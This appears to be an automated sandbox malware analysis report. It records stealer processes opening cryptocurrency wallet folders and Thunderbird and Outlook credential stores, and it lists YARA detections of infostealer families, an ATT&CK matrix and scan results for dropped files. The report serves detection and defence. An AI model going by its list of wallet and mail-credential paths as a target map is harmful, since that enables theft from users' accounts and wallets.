Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Directory queried: C:\Users\user\Documents\SimpleAdobe
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Directory queried: C:\Users\user\Documents\SimpleAdobe

Source: Yara match	File source: 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2332840507.0000000003447000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2390107762.0000000001379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2467246843.0000000000572000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Q7vDtN_em7fitYNxQll9ewNo.exe PID: 2484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: _vgILobA0xXbWeowDxO5iZdo.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048, type: MEMORYSTR

Remote Access Functionality

Yara detected CryptOne packer

Source: Yara match

File source: 0000000C.00000002.1921086630.0000000004379000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Mars stealer

Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 30.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.LLNkfgDtZiUZkTn30_sZHJcE.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2014980046.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2185945758.000000000450C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.nDCHNmvRZpJ9pfO5sjkcNCmB.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1892646275.0000000000197000.00000004.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2265895293.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: 11.3._vgILobA0xXbWeowDxO5iZdo.exe.5915560.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.Q7vDtN_em7fitYNxQll9ewNo.exe.69e41a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3._vgILobA0xXbWeowDxO5iZdo.exe.58efce0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe.5746e60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3._vgILobA0xXbWeowDxO5iZdo.exe.58fed20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2429616383.0000000005863000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2217900241.00000000061BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2323555077.0000000005A80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2174149135.000000000576A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2391836723.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2132917320.00000000069A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.2370659744.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2173869303.00000000056FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2390107762.00000000012DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2236046585.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2132997569.0000000006A0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Q7vDtN_em7fitYNxQll9ewNo.exe PID: 2484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: H61tUtaRHb9b8i2Ptr3ABL5b.exe PID: 3004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: _vgILobA0xXbWeowDxO5iZdo.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jYL1hclCVelFzk05W8_PnMT.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\FVt3eIEv9kpaJcahG65l2E0.zip, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.2376588491.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.HXqqC3YwnKDsi7zeJNheTOoZ.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HXqqC3YwnKDsi7zeJNheTOoZ.exe PID: 1608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 30.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	51 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	14 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Browser Extensions	1 Bypass User Account Control	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	257 System Information Discovery	SMB/Windows Admin Shares	41 Data from Local System	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	NTDS	1 Network Share Discovery	Distributed Component Object Model	1 Email Collection	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	511 Process Injection	1 Install Root Certificate	LSA Secrets	1 Query Registry	SSH	1 Credential API Hooking	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	1 Services File Permissions Weakness	1 Scheduled Task/Job	22 Software Packing	Cached Domain Credentials	1081 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Timestomp	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Services File Permissions Weakness	1 DLL Side-Loading	Proc Filesystem	571 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bypass User Account Control	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	13 Masquerading	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	571 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	511 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Services File Permissions Weakness	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BI6oo9z4In.exe	24%	ReversingLabs
BI6oo9z4In.exe	35%	Virustotal		Browse
BI6oo9z4In.exe	100%	Avira	HEUR/AGEN.1314708

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317026
C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	100%	Avira	HEUR/AGEN.1317026
C:\ProgramData\ICodecLibrary 1.22.66\ICodecLibrary 1.22.66.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\CBFIIEHJDBKJ\freebl3.dll	0%	ReversingLabs
C:\ProgramData\CBFIIEHJDBKJ\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\CBFIIEHJDBKJ\mozglue.dll	0%	ReversingLabs
C:\ProgramData\CBFIIEHJDBKJ\mozglue.dll	3%	Virustotal		Browse
C:\ProgramData\CBFIIEHJDBKJ\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\CBFIIEHJDBKJ\nss3.dll	0%	ReversingLabs
C:\ProgramData\CBFIIEHJDBKJ\softokn3.dll	0%	ReversingLabs
C:\ProgramData\CBFIIEHJDBKJ\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\KJKKKJJJKJKF\freebl3.dll	0%	ReversingLabs
C:\ProgramData\KJKKKJJJKJKF\mozglue.dll	0%	ReversingLabs
C:\ProgramData\KJKKKJJJKJKF\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\KJKKKJJJKJKF\nss3.dll	0%	ReversingLabs
C:\ProgramData\KJKKKJJJKJKF\softokn3.dll	0%	ReversingLabs
C:\ProgramData\KJKKKJJJKJKF\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	54%	ReversingLabs
C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe	100%	ReversingLabs	Win32.Trojan.Glupteba
C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe	54%	ReversingLabs
C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Default12_v2[1].exe	46%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma2305[1].exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\default_v2[1].exe	54%	ReversingLabs
